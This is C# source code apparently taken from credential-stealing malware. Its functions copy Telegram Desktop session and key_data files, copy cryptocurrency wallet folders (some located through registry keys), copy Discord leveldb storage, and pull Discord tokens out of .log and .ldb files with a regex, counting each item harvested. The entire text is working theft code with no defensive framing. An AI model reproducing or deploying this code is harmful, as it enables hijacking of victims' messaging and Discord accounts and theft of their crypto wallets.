public static bool GetTelegramSessions(string sSaveDir) { string TelegramDesktopPath = GetTdata(); try { if (!Directory.Exists(TelegramDesktopPath)) { return(false); } Directory.CreateDirectory(sSaveDir); // Get all directories string[] Directories = Directory.GetDirectories(TelegramDesktopPath); string[] Files = Directory.GetFiles(TelegramDesktopPath); // Copy directories foreach (string dir in Directories) { string name = new DirectoryInfo(dir).Name; if (name.Length == 16) { string copyTo = Path.Combine(sSaveDir, name); Filemanager.CopyDirectory(dir, copyTo); } } // Copy files foreach (string file in Files) { FileInfo finfo = new FileInfo(file); string name = finfo.Name; string copyTo = Path.Combine(sSaveDir, name); // Check file size if (finfo.Length > 5120) { continue; } // Copy session files if (name.EndsWith("s") && name.Length == 17) { finfo.CopyTo(copyTo); continue; } // Copy required files if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data")) { finfo.CopyTo(copyTo); } } Counter.Telegram = true; return(true); } catch { return(false); } }
// Copy wallet files to directory private static void CopyWalletFromDirectoryTo(string sSaveDir, string sWalletDir, string sWalletName) { string cdir = sWalletDir; string sdir = Path.Combine(sSaveDir, sWalletName); if (Directory.Exists(cdir)) { Filemanager.CopyDirectory(cdir, sdir); Counter.Wallets++; } }
// Copy Local State directory private static void CopyLevelDb(string sSavePath) { foreach (string dir in DiscordDirectories) { string directory = Path.GetDirectoryName(Path.Combine(Paths.appdata, dir)); string cpdirectory = Path.Combine(sSavePath, new DirectoryInfo(directory).Name); if (!Directory.Exists(directory)) { continue; } try { Filemanager.CopyDirectory(directory, cpdirectory); } catch { } } }
// Copy wallet from registry to directory private static void CopyWalletFromRegistryTo(string sSaveDir, string sWalletRegistry) { string sdir = Path.Combine(sSaveDir, sWalletRegistry); try { using (var registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey(sWalletRegistry).OpenSubKey($"{sWalletRegistry}-Qt")) { if (registryKey != null) { string cdir = registryKey.GetValue("strDataDir").ToString() + "\\wallets"; if (Directory.Exists(cdir)) { Filemanager.CopyDirectory(cdir, sdir); Counter.Wallets++; } } } } catch (System.Exception ex) { Logging.Log("Wallets >> Failed collect wallet from registry\n" + ex); } }
// Get discord tokens public static string[] GetTokens() { List <string> tokens = new List <string>(); try { foreach (string dir in DiscordDirectories) { string directory = Path.Combine(Paths.appdata, dir); string cpdirectory = Path.Combine(Path.GetTempPath(), new DirectoryInfo(directory).Name); if (!Directory.Exists(directory)) { continue; } Filemanager.CopyDirectory(directory, cpdirectory); foreach (string file in Directory.GetFiles(cpdirectory)) { if (!file.EndsWith(".log") && !file.EndsWith(".ldb")) { continue; } string text = File.ReadAllText(file); Match match = TokenRegex.Match(text); if (match.Success) { tokens.Add($"{match.Value} - {TokenState(match.Value)}"); } } Filemanager.RecursiveDelete(cpdirectory); } } catch (Exception ex) { Console.WriteLine(ex); } return(tokens.ToArray()); }